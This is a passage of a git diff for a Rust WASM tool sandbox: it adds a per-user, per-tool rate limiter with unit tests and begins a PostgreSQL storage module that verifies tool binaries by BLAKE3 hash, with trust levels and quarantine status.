//!
|
||||||
//! // Create runtime
|
//! // Create runtime
|
||||||
@@ -60,24 +62,52 @@
|
|||||||
//! let wasm_bytes = std::fs::read("my_tool.wasm")?;
|
//! let wasm_bytes = std::fs::read("my_tool.wasm")?;
|
||||||
//! let prepared = runtime.prepare("my_tool", &wasm_bytes, None).await?;
|
//! let prepared = runtime.prepare("my_tool", &wasm_bytes, None).await?;
|
||||||
//!
|
//!
|
||||||
//! // Create wrapper with minimal capabilities
|
//! // Create wrapper with HTTP capability
|
||||||
//! let tool = WasmToolWrapper::new(runtime, prepared, Capabilities::default());
|
//! let capabilities = Capabilities::none()
|
||||||
|
//! .with_http(HttpCapability::new(vec![
|
||||||
|
//! EndpointPattern::host("api.openai.com").with_path_prefix("/v1/"),
|
||||||
|
//! ]));
|
||||||
|
//! let tool = WasmToolWrapper::new(runtime, prepared, capabilities);
|
||||||
//!
|
//!
|
||||||
//! // Execute (implements Tool trait)
|
//! // Execute (implements Tool trait)
|
||||||
//! let output = tool.execute(serde_json::json!({"input": "test"}), &ctx).await?;
|
//! let output = tool.execute(serde_json::json!({"input": "test"}), &ctx).await?;
|
||||||
//! ```
|
//! ```
|
||||||
|
|
||||||
|
mod allowlist;
|
||||||
|
mod capabilities;
|
||||||
|
mod credential_injector;
|
||||||
mod error;
|
mod error;
|
||||||
mod host;
|
mod host;
|
||||||
mod limits;
|
mod limits;
|
||||||
|
mod rate_limiter;
|
||||||
mod runtime;
|
mod runtime;
|
||||||
|
mod storage;
|
||||||
mod wrapper;
|
mod wrapper;
|
||||||
|
|
||||||
|
// Core types
|
||||||
pub use error::{TrapCode, TrapInfo, WasmError};
|
pub use error::{TrapCode, TrapInfo, WasmError};
|
||||||
pub use host::{Capabilities, HostState, LogEntry, LogLevel, WorkspaceCapability, WorkspaceReader};
|
pub use host::{HostState, LogEntry, LogLevel};
|
||||||
pub use limits::{
|
pub use limits::{
|
||||||
DEFAULT_FUEL_LIMIT, DEFAULT_MEMORY_LIMIT, DEFAULT_TIMEOUT, FuelConfig, ResourceLimits,
|
DEFAULT_FUEL_LIMIT, DEFAULT_MEMORY_LIMIT, DEFAULT_TIMEOUT, FuelConfig, ResourceLimits,
|
||||||
WasmResourceLimiter,
|
WasmResourceLimiter,
|
||||||
};
|
};
|
||||||
pub use runtime::{PreparedModule, WasmRuntimeConfig, WasmToolRuntime};
|
pub use runtime::{PreparedModule, WasmRuntimeConfig, WasmToolRuntime};
|
||||||
pub use wrapper::WasmToolWrapper;
|
pub use wrapper::WasmToolWrapper;
|
||||||
|
|
||||||
|
// Capabilities (V2)
|
||||||
|
pub use capabilities::{
|
||||||
|
Capabilities, EndpointPattern, HttpCapability, RateLimitConfig, SecretsCapability,
|
||||||
|
ToolInvokeCapability, WorkspaceCapability, WorkspaceReader,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Security components (V2)
|
||||||
|
pub use allowlist::{AllowlistResult, AllowlistValidator, DenyReason};
|
||||||
|
pub use credential_injector::{CredentialInjector, InjectedCredentials, InjectionError};
|
||||||
|
pub use rate_limiter::{LimitType, RateLimitError, RateLimitResult, RateLimiter};
|
||||||
|
|
||||||
|
// Storage (V2)
|
||||||
|
pub use storage::{
|
||||||
|
PostgresWasmToolStore, StoreToolParams, StoredCapabilities, StoredWasmTool,
|
||||||
|
StoredWasmToolWithBinary, ToolStatus, TrustLevel, WasmStorageError, WasmToolStore,
|
||||||
|
compute_binary_hash, verify_binary_integrity,
|
||||||
|
};
|
||||||
|
|||||||
@@ -0,0 +1,422 @@
|
|||||||
|
//! Rate limiting for WASM tool operations.
|
||||||
|
//!
|
||||||
|
//! Provides per-tool rate limiting for HTTP requests and tool invocations.
|
||||||
|
//! Uses a sliding window algorithm for smooth rate enforcement.
|
||||||
|
//!
|
||||||
|
//! # Rate Limit Algorithm
|
||||||
|
//!
|
||||||
|
//! Uses a simplified sliding window counter:
|
||||||
|
//! - Track request counts for current minute and hour windows
|
||||||
|
//! - Reset counters when window expires
|
||||||
|
//! - Increment counter and check against limits
|
||||||
|
//!
|
||||||
|
//! # Persistence
|
||||||
|
//!
|
||||||
|
//! Rate limit state can be persisted to PostgreSQL for cross-process
|
||||||
|
//! rate limiting (useful for distributed deployments).
|
||||||
|
|
||||||
|
use std::collections::HashMap;
|
||||||
|
use std::time::{Duration, Instant};
|
||||||
|
|
||||||
|
use tokio::sync::RwLock;
|
||||||
|
|
||||||
|
use crate::tools::wasm::capabilities::RateLimitConfig;
|
||||||
|
|
||||||
|
/// Result of a rate limit check.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub enum RateLimitResult {
|
||||||
|
/// Request is allowed.
|
||||||
|
Allowed {
|
||||||
|
/// Remaining requests in the current minute.
|
||||||
|
remaining_minute: u32,
|
||||||
|
/// Remaining requests in the current hour.
|
||||||
|
remaining_hour: u32,
|
||||||
|
},
|
||||||
|
/// Request is rate limited.
|
||||||
|
Limited {
|
||||||
|
/// When the rate limit will reset.
|
||||||
|
retry_after: Duration,
|
||||||
|
/// Which limit was exceeded.
|
||||||
|
limit_type: LimitType,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RateLimitResult {
|
||||||
|
pub fn is_allowed(&self) -> bool {
|
||||||
|
matches!(self, RateLimitResult::Allowed { .. })
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Which rate limit was exceeded.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub enum LimitType {
|
||||||
|
PerMinute,
|
||||||
|
PerHour,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Display for LimitType {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
LimitType::PerMinute => write!(f, "per-minute"),
|
||||||
|
LimitType::PerHour => write!(f, "per-hour"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// State for a single rate limit window.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
struct WindowState {
|
||||||
|
window_start: Instant,
|
||||||
|
count: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl WindowState {
|
||||||
|
fn new() -> Self {
|
||||||
|
Self {
|
||||||
|
window_start: Instant::now(),
|
||||||
|
count: 0,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check if the window has expired and reset if needed.
|
||||||
|
fn maybe_reset(&mut self, window_duration: Duration) {
|
||||||
|
if self.window_start.elapsed() >= window_duration {
|
||||||
|
self.window_start = Instant::now();
|
||||||
|
self.count = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Time until window resets.
|
||||||
|
fn time_until_reset(&self, window_duration: Duration) -> Duration {
|
||||||
|
let elapsed = self.window_start.elapsed();
|
||||||
|
if elapsed >= window_duration {
|
||||||
|
Duration::ZERO
|
||||||
|
} else {
|
||||||
|
window_duration - elapsed
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Rate limit state for a single tool.
|
||||||
|
#[derive(Debug)]
|
||||||
|
struct ToolRateLimitState {
|
||||||
|
minute_window: WindowState,
|
||||||
|
hour_window: WindowState,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ToolRateLimitState {
|
||||||
|
fn new() -> Self {
|
||||||
|
Self {
|
||||||
|
minute_window: WindowState::new(),
|
||||||
|
hour_window: WindowState::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// In-memory rate limiter for WASM tools.
|
||||||
|
pub struct RateLimiter {
|
||||||
|
/// State per (user_id, tool_name).
|
||||||
|
state: RwLock<HashMap<(String, String), ToolRateLimitState>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RateLimiter {
|
||||||
|
/// Create a new rate limiter.
|
||||||
|
pub fn new() -> Self {
|
||||||
|
Self {
|
||||||
|
state: RwLock::new(HashMap::new()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check if a request is allowed and record it if so.
|
||||||
|
pub async fn check_and_record(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
tool_name: &str,
|
||||||
|
config: &RateLimitConfig,
|
||||||
|
) -> RateLimitResult {
|
||||||
|
let key = (user_id.to_string(), tool_name.to_string());
|
||||||
|
|
||||||
|
let mut state = self.state.write().await;
|
||||||
|
let tool_state = state.entry(key).or_insert_with(ToolRateLimitState::new);
|
||||||
|
|
||||||
|
// Reset windows if expired
|
||||||
|
tool_state
|
||||||
|
.minute_window
|
||||||
|
.maybe_reset(Duration::from_secs(60));
|
||||||
|
tool_state
|
||||||
|
.hour_window
|
||||||
|
.maybe_reset(Duration::from_secs(3600));
|
||||||
|
|
||||||
|
// Check minute limit
|
||||||
|
if tool_state.minute_window.count >= config.requests_per_minute {
|
||||||
|
return RateLimitResult::Limited {
|
||||||
|
retry_after: tool_state
|
||||||
|
.minute_window
|
||||||
|
.time_until_reset(Duration::from_secs(60)),
|
||||||
|
limit_type: LimitType::PerMinute,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check hour limit
|
||||||
|
if tool_state.hour_window.count >= config.requests_per_hour {
|
||||||
|
return RateLimitResult::Limited {
|
||||||
|
retry_after: tool_state
|
||||||
|
.hour_window
|
||||||
|
.time_until_reset(Duration::from_secs(3600)),
|
||||||
|
limit_type: LimitType::PerHour,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Record the request
|
||||||
|
tool_state.minute_window.count += 1;
|
||||||
|
tool_state.hour_window.count += 1;
|
||||||
|
|
||||||
|
RateLimitResult::Allowed {
|
||||||
|
remaining_minute: config.requests_per_minute - tool_state.minute_window.count,
|
||||||
|
remaining_hour: config.requests_per_hour - tool_state.hour_window.count,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check without recording (for preview/estimation).
|
||||||
|
pub async fn check(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
tool_name: &str,
|
||||||
|
config: &RateLimitConfig,
|
||||||
|
) -> RateLimitResult {
|
||||||
|
let key = (user_id.to_string(), tool_name.to_string());
|
||||||
|
|
||||||
|
let mut state = self.state.write().await;
|
||||||
|
let tool_state = state.entry(key).or_insert_with(ToolRateLimitState::new);
|
||||||
|
|
||||||
|
// Reset windows if expired
|
||||||
|
tool_state
|
||||||
|
.minute_window
|
||||||
|
.maybe_reset(Duration::from_secs(60));
|
||||||
|
tool_state
|
||||||
|
.hour_window
|
||||||
|
.maybe_reset(Duration::from_secs(3600));
|
||||||
|
|
||||||
|
// Check minute limit
|
||||||
|
if tool_state.minute_window.count >= config.requests_per_minute {
|
||||||
|
return RateLimitResult::Limited {
|
||||||
|
retry_after: tool_state
|
||||||
|
.minute_window
|
||||||
|
.time_until_reset(Duration::from_secs(60)),
|
||||||
|
limit_type: LimitType::PerMinute,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check hour limit
|
||||||
|
if tool_state.hour_window.count >= config.requests_per_hour {
|
||||||
|
return RateLimitResult::Limited {
|
||||||
|
retry_after: tool_state
|
||||||
|
.hour_window
|
||||||
|
.time_until_reset(Duration::from_secs(3600)),
|
||||||
|
limit_type: LimitType::PerHour,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
RateLimitResult::Allowed {
|
||||||
|
remaining_minute: config.requests_per_minute - tool_state.minute_window.count,
|
||||||
|
remaining_hour: config.requests_per_hour - tool_state.hour_window.count,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get current usage for a tool.
|
||||||
|
pub async fn get_usage(&self, user_id: &str, tool_name: &str) -> Option<(u32, u32)> {
|
||||||
|
let key = (user_id.to_string(), tool_name.to_string());
|
||||||
|
let state = self.state.read().await;
|
||||||
|
|
||||||
|
state
|
||||||
|
.get(&key)
|
||||||
|
.map(|s| (s.minute_window.count, s.hour_window.count))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Clear rate limit state for a tool (for testing or manual reset).
|
||||||
|
pub async fn clear(&self, user_id: &str, tool_name: &str) {
|
||||||
|
let key = (user_id.to_string(), tool_name.to_string());
|
||||||
|
self.state.write().await.remove(&key);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Clear all rate limit state.
|
||||||
|
pub async fn clear_all(&self) {
|
||||||
|
self.state.write().await.clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for RateLimiter {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self::new()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Error when rate limited.
|
||||||
|
#[derive(Debug, Clone, thiserror::Error)]
|
||||||
|
#[error("Rate limited ({limit_type}), retry after {retry_after:?}")]
|
||||||
|
pub struct RateLimitError {
|
||||||
|
pub retry_after: Duration,
|
||||||
|
pub limit_type: LimitType,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<RateLimitResult> for Result<(), RateLimitError> {
|
||||||
|
fn from(result: RateLimitResult) -> Self {
|
||||||
|
match result {
|
||||||
|
RateLimitResult::Allowed { .. } => Ok(()),
|
||||||
|
RateLimitResult::Limited {
|
||||||
|
retry_after,
|
||||||
|
limit_type,
|
||||||
|
} => Err(RateLimitError {
|
||||||
|
retry_after,
|
||||||
|
limit_type,
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use crate::tools::wasm::capabilities::RateLimitConfig;
|
||||||
|
use crate::tools::wasm::rate_limiter::{LimitType, RateLimitResult, RateLimiter};
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_allowed_within_limits() {
|
||||||
|
let limiter = RateLimiter::new();
|
||||||
|
let config = RateLimitConfig {
|
||||||
|
requests_per_minute: 10,
|
||||||
|
requests_per_hour: 100,
|
||||||
|
};
|
||||||
|
|
||||||
|
let result = limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
|
||||||
|
match result {
|
||||||
|
RateLimitResult::Allowed {
|
||||||
|
remaining_minute,
|
||||||
|
remaining_hour,
|
||||||
|
} => {
|
||||||
|
assert_eq!(remaining_minute, 9);
|
||||||
|
assert_eq!(remaining_hour, 99);
|
||||||
|
}
|
||||||
|
_ => panic!("Expected allowed"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_minute_limit_exceeded() {
|
||||||
|
let limiter = RateLimiter::new();
|
||||||
|
let config = RateLimitConfig {
|
||||||
|
requests_per_minute: 2,
|
||||||
|
requests_per_hour: 100,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Use up the minute limit
|
||||||
|
limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
|
||||||
|
// Third request should be limited
|
||||||
|
let result = limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
|
||||||
|
match result {
|
||||||
|
RateLimitResult::Limited {
|
||||||
|
limit_type,
|
||||||
|
retry_after,
|
||||||
|
} => {
|
||||||
|
assert_eq!(limit_type, LimitType::PerMinute);
|
||||||
|
assert!(retry_after.as_secs() <= 60);
|
||||||
|
}
|
||||||
|
_ => panic!("Expected limited"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_hour_limit_exceeded() {
|
||||||
|
let limiter = RateLimiter::new();
|
||||||
|
let config = RateLimitConfig {
|
||||||
|
requests_per_minute: 100, // High minute limit
|
||||||
|
requests_per_hour: 2, // Low hour limit
|
||||||
|
};
|
||||||
|
|
||||||
|
// Use up the hour limit
|
||||||
|
limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
|
||||||
|
// Third request should be limited
|
||||||
|
let result = limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
|
||||||
|
match result {
|
||||||
|
RateLimitResult::Limited { limit_type, .. } => {
|
||||||
|
assert_eq!(limit_type, LimitType::PerHour);
|
||||||
|
}
|
||||||
|
_ => panic!("Expected limited"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_user_isolation() {
|
||||||
|
let limiter = RateLimiter::new();
|
||||||
|
let config = RateLimitConfig {
|
||||||
|
requests_per_minute: 1,
|
||||||
|
requests_per_hour: 10,
|
||||||
|
};
|
||||||
|
|
||||||
|
// User1 uses their limit
|
||||||
|
limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
let result1 = limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
|
||||||
|
// User2 should still have their limit
|
||||||
|
let result2 = limiter.check_and_record("user2", "tool1", &config).await;
|
||||||
|
|
||||||
|
assert!(!result1.is_allowed());
|
||||||
|
assert!(result2.is_allowed());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_tool_isolation() {
|
||||||
|
let limiter = RateLimiter::new();
|
||||||
|
let config = RateLimitConfig {
|
||||||
|
requests_per_minute: 1,
|
||||||
|
requests_per_hour: 10,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Tool1 uses its limit
|
||||||
|
limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
let result1 = limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
|
||||||
|
// Tool2 should still have its limit
|
||||||
|
let result2 = limiter.check_and_record("user1", "tool2", &config).await;
|
||||||
|
|
||||||
|
assert!(!result1.is_allowed());
|
||||||
|
assert!(result2.is_allowed());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_get_usage() {
|
||||||
|
let limiter = RateLimiter::new();
|
||||||
|
let config = RateLimitConfig::default();
|
||||||
|
|
||||||
|
limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
|
||||||
|
let usage = limiter.get_usage("user1", "tool1").await;
|
||||||
|
assert_eq!(usage, Some((3, 3)));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_clear() {
|
||||||
|
let limiter = RateLimiter::new();
|
||||||
|
let config = RateLimitConfig {
|
||||||
|
requests_per_minute: 1,
|
||||||
|
requests_per_hour: 10,
|
||||||
|
};
|
||||||
|
|
||||||
|
limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
let result1 = limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
assert!(!result1.is_allowed());
|
||||||
|
|
||||||
|
limiter.clear("user1", "tool1").await;
|
||||||
|
|
||||||
|
let result2 = limiter.check_and_record("user1", "tool1", &config).await;
|
||||||
|
assert!(result2.is_allowed());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,616 @@
|
|||||||
|
//! WASM binary storage with integrity verification.
|
||||||
|
//!
|
||||||
|
//! Stores compiled WASM tools in PostgreSQL with BLAKE3 hash verification.
|
||||||
|
//! On load, the hash is verified to detect tampering.
|
||||||
|
//!
|
||||||
|
//! # Storage Flow
|
||||||
|
//!
|
||||||
|
//! ```text
|
||||||
|
//! WASM bytes ──► BLAKE3 hash ──► Store in PostgreSQL
|
||||||
|
//! │ (binary + hash)
|
||||||
|
//! │
|
||||||
|
//! └──► Later: Load ──► Verify hash ──► Return bytes
|
||||||
|
//! ```
|
||||||
|
|
||||||
|
use std::collections::HashMap;
|
||||||
|
|
||||||
|
use async_trait::async_trait;
|
||||||
|
use chrono::{DateTime, Utc};
|
||||||
|
use deadpool_postgres::Pool;
|
||||||
|
use uuid::Uuid;
|
||||||
|
|
||||||
|
use crate::tools::wasm::capabilities::{
|
||||||
|
Capabilities, EndpointPattern, HttpCapability, RateLimitConfig, SecretsCapability,
|
||||||
|
ToolInvokeCapability,
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Trust level for a WASM tool.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub enum TrustLevel {
|
||||||
|
/// Built-in system tool (highest trust).
|
||||||
|
System,
|
||||||
|
/// Audited and verified tool.
|
||||||
|
Verified,
|
||||||
|
/// User-uploaded tool (untrusted).
|
||||||
|
User,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Display for TrustLevel {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
TrustLevel::System => write!(f, "system"),
|
||||||
|
TrustLevel::Verified => write!(f, "verified"),
|
||||||
|
TrustLevel::User => write!(f, "user"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::str::FromStr for TrustLevel {
|
||||||
|
type Err = String;
|
||||||
|
|
||||||
|
fn from_str(s: &str) -> Result<Self, Self::Err> {
|
||||||
|
match s.to_lowercase().as_str() {
|
||||||
|
"system" => Ok(TrustLevel::System),
|
||||||
|
"verified" => Ok(TrustLevel::Verified),
|
||||||
|
"user" => Ok(TrustLevel::User),
|
||||||
|
_ => Err(format!("Unknown trust level: {}", s)),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Status of a WASM tool.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub enum ToolStatus {
|
||||||
|
/// Tool is active and can be used.
|
||||||
|
Active,
|
||||||
|
/// Tool is disabled (manually or due to errors).
|
||||||
|
Disabled,
|
||||||
|
/// Tool is quarantined (suspected malicious).
|
||||||
|
Quarantined,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Display for ToolStatus {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
ToolStatus::Active => write!(f, "active"),
|
||||||
|
ToolStatus::Disabled => write!(f, "disabled"),
|
||||||
|
ToolStatus::Quarantined => write!(f, "quarantined"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::str::FromStr for ToolStatus {
|
||||||
|
type Err = String;
|
||||||
|
|
||||||
|
fn from_str(s: &str) -> Result<Self, Self::Err> {
|
||||||
|
match s.to_lowercase().as_str() {
|
||||||
|
"active" => Ok(ToolStatus::Active),
|
||||||
|
"disabled" => Ok(ToolStatus::Disabled),
|
||||||
|
"quarantined" => Ok(ToolStatus::Quarantined),
|
||||||
|
_ => Err(format!("Unknown status: {}", s)),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A stored WASM tool.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct StoredWasmTool {
|
||||||
|
pub id: Uuid,
|
||||||
|
pub user_id: String,
|
||||||
|
pub name: String,
|
||||||
|
pub version: String,
|
||||||
|
pub description: String,
|
||||||
|
pub parameters_schema: serde_json::Value,
|
||||||
|
pub source_url: Option<String>,
|
||||||
|
pub trust_level: TrustLevel,
|
||||||
|
pub status: ToolStatus,
|
||||||
|
pub created_at: DateTime<Utc>,
|
||||||
|
pub updated_at: DateTime<Utc>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Full tool data including binary (not returned by default for efficiency).
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct StoredWasmToolWithBinary {
|
||||||
|
pub tool: StoredWasmTool,
|
||||||
|
pub wasm_binary: Vec<u8>,
|
||||||
|
pub binary_hash: Vec<u8>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Capabilities stored in the database.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct StoredCapabilities {
|
||||||
|
pub id: Uuid,
|
||||||
|
pub wasm_tool_id: Uuid,
|
||||||
|
pub http_allowlist: Vec<EndpointPattern>,
|
||||||
|
pub allowed_secrets: Vec<String>,
|
||||||
|
pub tool_aliases: HashMap<String, String>,
|
||||||
|
pub requests_per_minute: u32,
|
||||||
|
pub requests_per_hour: u32,
|
||||||
|
pub max_request_body_bytes: i64,
|
||||||
|
pub max_response_body_bytes: i64,
|
||||||
|
pub workspace_read_prefixes: Vec<String>,
|
||||||
|
pub http_timeout_secs: i32,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl StoredCapabilities {
|
||||||
|
/// Convert to runtime Capabilities struct.
|
||||||
|
pub fn to_capabilities(&self) -> Capabilities {
|
||||||
|
let mut caps = Capabilities::default();
|
||||||
|
|
||||||
|
// Workspace read
|
||||||
|
if !self.workspace_read_prefixes.is_empty() {
|
||||||
|
caps = caps.with_workspace_read(self.workspace_read_prefixes.clone());
|
||||||
|
}
|
||||||
|
|
||||||
|
// HTTP capability
|
||||||
|
if !self.http_allowlist.is_empty() {
|
||||||
|
caps.http = Some(HttpCapability {
|
||||||
|
allowlist: self.http_allowlist.clone(),
|
||||||
|
credentials: HashMap::new(), // Loaded separately
|
||||||
|
rate_limit: RateLimitConfig {
|
||||||
|
requests_per_minute: self.requests_per_minute,
|
||||||
|
requests_per_hour: self.requests_per_hour,
|
||||||
|
},
|
||||||
|
max_request_bytes: self.max_request_body_bytes as usize,
|
||||||
|
max_response_bytes: self.max_response_body_bytes as usize,
|
||||||
|
timeout: std::time::Duration::from_secs(self.http_timeout_secs as u64),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Tool invoke capability
|
||||||
|
if !self.tool_aliases.is_empty() {
|
||||||
|
caps.tool_invoke = Some(ToolInvokeCapability {
|
||||||
|
aliases: self.tool_aliases.clone(),
|
||||||
|
rate_limit: RateLimitConfig {
|
||||||
|
requests_per_minute: self.requests_per_minute,
|
||||||
|
requests_per_hour: self.requests_per_hour,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Secrets capability
|
||||||
|
if !self.allowed_secrets.is_empty() {
|
||||||
|
caps.secrets = Some(SecretsCapability {
|
||||||
|
allowed_names: self.allowed_secrets.clone(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
caps
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Error from WASM storage operations.
|
||||||
|
#[derive(Debug, Clone, thiserror::Error)]
|
||||||
|
pub enum WasmStorageError {
|
||||||
|
#[error("Tool not found: {0}")]
|
||||||
|
NotFound(String),
|
||||||
|
|
||||||
|
#[error("Tool is disabled")]
|
||||||
|
Disabled,
|
||||||
|
|
||||||
|
#[error("Tool is quarantined")]
|
||||||
|
Quarantined,
|
||||||
|
|
||||||
|
#[error("Binary integrity check failed: hash mismatch")]
|
||||||
|
IntegrityCheckFailed,
|
||||||
|
|
||||||
|
#[error("Database error: {0}")]
|
||||||
|
Database(String),
|
||||||
|
|
||||||
|
#[error("Invalid data: {0}")]
|
||||||
|
InvalidData(String),
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Trait for WASM tool storage.
|
||||||
|
#[async_trait]
|
||||||
|
pub trait WasmToolStore: Send + Sync {
|
||||||
|
/// Store a new WASM tool.
|
||||||
|
async fn store(&self, params: StoreToolParams) -> Result<StoredWasmTool, WasmStorageError>;
|
||||||
|
|
||||||
|
/// Get tool metadata (without binary).
|
||||||
|
async fn get(&self, user_id: &str, name: &str) -> Result<StoredWasmTool, WasmStorageError>;
|
||||||
|
|
||||||
|
/// Get tool with binary (verifies integrity).
|
||||||
|
async fn get_with_binary(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
name: &str,
|
||||||
|
) -> Result<StoredWasmToolWithBinary, WasmStorageError>;
|
||||||
|
|
||||||
|
/// Get tool capabilities.
|
||||||
|
async fn get_capabilities(
|
||||||
|
&self,
|
||||||
|
tool_id: Uuid,
|
||||||
|
) -> Result<Option<StoredCapabilities>, WasmStorageError>;
|
||||||
|
|
||||||
|
/// List all tools for a user.
|
||||||
|
async fn list(&self, user_id: &str) -> Result<Vec<StoredWasmTool>, WasmStorageError>;
|
||||||
|
|
||||||
|
/// Update tool status.
|
||||||
|
async fn update_status(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
name: &str,
|
||||||
|
status: ToolStatus,
|
||||||
|
) -> Result<(), WasmStorageError>;
|
||||||
|
|
||||||
|
/// Delete a tool.
|
||||||
|
async fn delete(&self, user_id: &str, name: &str) -> Result<bool, WasmStorageError>;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parameters for storing a new tool.
|
||||||
|
pub struct StoreToolParams {
|
||||||
|
pub user_id: String,
|
||||||
|
pub name: String,
|
||||||
|
pub version: String,
|
||||||
|
pub description: String,
|
||||||
|
pub wasm_binary: Vec<u8>,
|
||||||
|
pub parameters_schema: serde_json::Value,
|
||||||
|
pub source_url: Option<String>,
|
||||||
|
pub trust_level: TrustLevel,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Compute BLAKE3 hash of WASM binary.
|
||||||
|
pub fn compute_binary_hash(binary: &[u8]) -> Vec<u8> {
|
||||||
|
let hash = blake3::hash(binary);
|
||||||
|
hash.as_bytes().to_vec()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Verify binary integrity against stored hash.
|
||||||
|
pub fn verify_binary_integrity(binary: &[u8], expected_hash: &[u8]) -> bool {
|
||||||
|
let actual_hash = compute_binary_hash(binary);
|
||||||
|
actual_hash == expected_hash
|
||||||
|
}
|
||||||
|
|
||||||
|
/// PostgreSQL implementation of WasmToolStore.
|
||||||
|
pub struct PostgresWasmToolStore {
|
||||||
|
